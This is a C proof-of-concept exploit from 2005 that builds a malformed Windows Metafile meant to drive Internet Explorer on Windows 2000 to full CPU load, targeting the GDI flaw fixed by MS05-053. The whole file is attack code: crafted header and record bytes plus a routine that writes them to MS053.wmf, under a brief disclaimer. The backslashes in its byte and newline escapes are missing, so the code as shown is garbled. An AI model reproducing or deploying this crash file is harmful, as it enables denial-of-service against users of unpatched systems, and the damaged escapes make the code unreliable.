/*
 * Author: Winny Thomas
 *	   Pune, INDIA
 *
 * The crafted metafile from this code when viewed in internet explorer raises the CPU utilization 
 * to 100%. The code was tested on Windows 2000 server SP4. The issue does not occur with the 
 * hotfix for GDI (MS05-053) installed
 *
 * Disclaimer: This code is for educational/testing purposes by authosized persons on 
 * networks/systems setup for such a purpose.The author of this code shall not bear 
 * any responsibility for any damage caused by using this code.
 *
 */

#include <stdio.h>

unsigned char wmfheader[] = 
"xd7xcdxc6x9ax00x00xc6xfbxcax02xaax02x39x09xe8x03"
"x00x00x00x00x66xa6"
"x01x00"
"x09x00"
"x00x03"
"xffxffxffxff" //Metafile file size
"x04x00"
"xffxffxffxff" //Largest record size
"x00x00";

unsigned char MetafileRECORD[] = 
"x05x00x00x00x0bx02x39x09xc6xfbx08x00x00x00xfax02"
"x05x00x00x00x00x00xffxffxffx00x04x00x00x00x2dx01"
"x01x00x04x00x00x00x06x01x01x00x04x00x00x00x2dx01"
"x02x00x07x00x00x00xfcx02x00x00xffxffxffx00x00x00"
"x04x00x00x00x2dx01x03x00x04x00x00x00x2dx01x02x00"
"x04x00x00x00x2dx01x03x00x04x00x00x00xf0x01x00x00"
"x07x00x00x00xfcx02x00x00xfax94x93x00x00x00x04x00"
"x00x00x2dx01x00x00x04x00x00x00x2dx01x01x00x04x00"
"x00x00x06x01x01x00x14x00x00x00x24x03x08x00xc6xfb"
"x9bx03xbcxfex9bx03x0fx01x1ax07xa5x02x1ax07xf4x00"
"x39x09xd5xfcx36x07x86xfex36x07xc6xfbx9bx03";

unsigned char wmfeof[] = 
"x00x00x00x00";

int main(int argc, char *argv[])
{
	FILE *fp;
	char wmfbuf[1024];
	int metafilesize, metafilesizeW, i, j;
	
	metafilesize = sizeof (wmfheader) + sizeof (MetafileRECORD) + sizeof(wmfeof) -3;
	metafilesizeW = metafilesize/2;
	memcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);

	printf("[*] Adding Metafile headern");
	for (i = 0; i < sizeof(wmfheader) -1; i++) {
		(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
	}
			
	printf("[*] Adding Metafile recordsn");
	for (j = i, i = 0; i < sizeof(MetafileRECORD) -1; i++, j++) {
		wmfbuf[j] = MetafileRECORD[i];
	}
	
	printf("[*] Adding EOF recordn");
	for (i = 0; i < sizeof(wmfeof) -1; i++, j++) {
		wmfbuf[j] = wmfeof[i];
	}

	printf("[*] Creating Metafile (MS053.wmf)n");
	fp = fopen("MS053.wmf", "wb");
	fwrite(wmfbuf, 1, metafilesize, fp);
	fclose(fp);
}

// www.Syue.com [2005-11-29]